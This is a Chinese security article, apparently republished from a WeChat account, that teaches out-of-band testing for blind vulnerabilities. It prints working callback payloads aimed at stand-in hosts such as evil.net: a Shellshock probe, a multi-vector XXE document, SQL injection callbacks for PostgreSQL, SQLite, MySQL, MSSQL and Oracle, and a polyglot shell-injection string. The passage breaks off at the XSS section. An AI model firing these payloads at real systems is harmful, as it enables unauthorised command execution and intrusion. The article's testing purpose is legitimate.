外带挖洞手法研究,这个赏金猎人最该掌握的技能,为什么90%的人都没用好?

admin 2026-09-10 05:11:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统介绍带外应用安全测试(OAST)技术,用于发现后台处理、二次触发及天然无反馈型等不可见漏洞。核心思路是构造回调载荷,让漏洞主动向攻击者服务器发起连接。文章详述XML、SQL注入、Shell命令注入及XSS等场景的通用回调载荷构造技巧,并推荐使用BurpCollaborator或自建私有服务器接收回调。内容实战性强,对渗透测试人员具有较高参考价值。 综合评分: 85 文章分类: 渗透测试,漏洞分析,红队,内网渗透


外带挖洞手法研究,这个赏金猎人最该掌握的技能,为什么90%的人都没用好?

原创

升斗安全XiuXiu 升斗安全XiuXiu

升斗安全

2026年9月6日 00:28 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

【文章说明】

  • 目的:本文内容仅为网络安全技术研究与教育目的而创作。
  • 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
  • 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
  • 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。

你有没有遇到过这种情况:明明感觉目标系统有问题,可不管怎么测,页面纹丝不动,日志毫无波澜,连报错都懒得给你甩一个。别急着怀疑人生,你不是菜,你只是遇到了”看不见的漏洞”。

今天想跟你聊聊我的一些心得,关于如何让那些藏在后台线程、定时任务、异步日志里的”幽灵漏洞”现出原形。这些技术后来成了带外应用安全测试的基础,圈内人习惯叫它OAST。

那些”看不见”的漏洞,才是最值钱的

先说个残酷的现实:很多漏洞在渗透测试中反复漏网,不是因为测试人员水平不够,而是因为它们天生”哑巴”。

我管这类漏洞叫”不可见漏洞”。它们不像普通SQL注入那样,输个单引号就能看到数据库报错;也不像盲注那样,加个sleep(5)就能观察到响应延迟。它们藏在后台线程里,躲在夜间定时任务中,潜伏在异步日志记录功能里,你发出去的恶意载荷就像扔进了一口深井,连个回声都听不见。

大致分三类:

第一类,后台处理型。比如夜间跑批任务中的Shell命令注入,或者队列事务里的SQL注入。你注入的延迟可能真的生效了,但只拖慢了后台线程,前台用户毫无感知,你自然也测不到。

第二类,二次触发型。典型的如盲XSS和二阶SQL注入。漏洞确实存在,但需要另一个事件去”点燃”它,用常规手段排查起来极其别扭。

第三类,天然无反馈型。比如盲XXE或XPath注入,这类技术本身就不支持产生可靠的延迟,应用输出也没有任何差异,纯靠肉眼基本无解。

让漏洞主动”打电话”给你

既然漏洞不肯开口说话,那我们就让它主动联系我们。

思路其实很朴素:在可疑的注入点,发送一个”如果被触发,就向你服务器发起连接”的载荷,然后架好监听,耐心等待。就像往各个角落撒下带着你电话号码的纸条,谁捡到了就给你打个电话。

这个思路最经典的案例出现在Shellshock漏洞爆发时期。有人观察到这样的探测载荷:

() { :;}; echo 1 > /dev/udp/evil.com/53

如果目标服务器存在Shellshock漏洞,这段代码就会让它向evil.com的53端口发一个UDP包。你收到包,就说明服务器中招了。简单粗暴,但极其有效。

现在的Burp Suite已经把这种思路产品化了,用的就是Collaborator服务器作为接收端。DNS协议尤其适合干这事,它很少被出口防火墙拦截,而且很多其他网络协议底层都依赖DNS。

打造一枚”万能”回调载荷

说起来容易做起来难。普通漏洞利用可以反复试错,根据应用反馈逐步调整。但回调载荷的失败是”硬失败”,没触发就是没触发,应用不会给你任何提示,你甚至不知道是漏洞不存在,还是载荷没写好。

所以,回调载荷必须尽可能”皮实”:无视软件实现差异,无视操作系统类型,无视所处上下文环境,还要能扛住常见过滤。

XML漏洞:一箭六雕

XML这边有个优雅的思路:利用XML标准本身的各种特性来触发外部请求。下面这个文档一次性用了六种XML漏洞/特性:

<?xml version="1.0"&nbsp;encoding="utf-8"?><?xml-stylesheet type="text/xml"&nbsp;href="http://xsl.evil.net/a.xsl"?><!DOCTYPE&nbsp;root&nbsp;PUBLIC&nbsp;"-//A/B/EN"&nbsp;"http://dtd.evil.net/a.dtd"&nbsp;[&nbsp;&nbsp;<!ENTITY %&nbsp;remote&nbsp;SYSTEM&nbsp;"http://xxe2.evil.net/a">&nbsp;&nbsp;<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"http://xxe1.evil.net/a">&nbsp; %remote;]><root>&nbsp;&nbsp;<foo>&xxe;</foo>&nbsp;&nbsp;<x&nbsp;xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include&nbsp; &nbsp;&nbsp;href="http://xi.evil.net/"&nbsp;/></x>&nbsp;&nbsp;<y&nbsp;xmlns=http://a.b/&nbsp; &nbsp;&nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&nbsp; &nbsp;&nbsp;xsi:schemaLocation="http://a.b/&nbsp; &nbsp; http://schemalocation.evil.net/a.xsd">a</y></root>

其中XInclude和schemaLocation这俩特别有意思。它们不需要你完全控制XML文档就能工作。这意味着你可以在盲XML注入场景中使用它们,而这种漏洞以前几乎不可能被发现。

SQL注入:各家数据库的”花式打电话”

SQL标准本身没有定义触发回调的语句,所以得按数据库逐个击破。

PostgreSQL相对友好,COPY命令可以直接调系统命令:

copy&nbsp;(select&nbsp;'') to program&nbsp;'nslookup evil.net'

用nslookup是因为Windows和Linux默认都有。ping虽然更常见,但在Linux上会一直跑不停,容易把线程挂死。

MySQL和SQLite在Windows平台上有取巧的办法:利用UNC路径。Windows的文件系统函数大多支持UNC路径(一种能引用远程服务器资源的特殊路径格式),一旦解析就会触发DNS查询。所以几乎任何文件I/O函数都能变成回调触发器。

SQLite有两个入口:

;attach database&nbsp;'//evil.net/z'&nbsp;as&nbsp;'z'-- -&nbsp;(SELECT&nbsp;load_extension('//foo'))

各有各的限制,前者需要批量查询,后者依赖load_extension被启用。

MySQL则有:

LOAD_FILE('\\\\evil.net\\foo') &nbsp;SELECT&nbsp;…&nbsp;INTO&nbsp;OUTFILE&nbsp;'\\\\evil.net\foo'

都不需要批量查询,相对顺手。

MSSQL的选择更多。其中xp_dirtree是很多测试人员的首选:

EXEC&nbsp;master.dbo.xp_dirtree&nbsp;'\\\\evil.net\\foo'

虽然它要求sysadmin权限,但有意思的是,它在触发DNS查询之后才检查权限。这意味着即使权限不足,DNS请求也已经发出去了,你照样能收到回调。

Oracle这边,理论上有很多工具可以用,UTL_HTTP、UTL_TCP、UTL_SMTP等等,甚至可以用UTL_SMTP写个注入载荷,触发后自动给你发邮件描述漏洞详情。但问题在于这些都需要相应权限。

好在还有一条捷径。Oracle内置了XML解析功能,低权限用户就能调用。而且Oracle对XXE注入是缺乏防护的。于是我们就能把SQL注入和XXE链接起来,零权限触发回调:

SELECT extractvalue(xmltype('<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;root&nbsp;[&nbsp;<!ENTITY % &nbsp;remote&nbsp;SYSTEM&nbsp;"http://evil.net/">&nbsp;%remote;]>'),'/l')

Shell命令注入:一段载荷通吃五种上下文

有了任意代码执行能力,触发回调当然不难。但现实是你往往不知道输入会落在什么位置。可能在单引号里,可能在双引号里,可能作为参数,可能在Windows上,可能在Linux上。

我把五种常见上下文做成测试页面,逐一调试,最终磨出了这个载荷:

&nslookup evil.net&'\"`0&nslookup evil.net&`'

在Bash单引号、双引号、裸参数,以及Windows命令行、双引号参数这五种场景下都能成功跳出上下文并执行注入的命令。

XSS:借用一位同行的精妙载荷

XSS触发回调本身不难,难的是不知道输入周围的语法结构。可能在带引号的属性里,可能在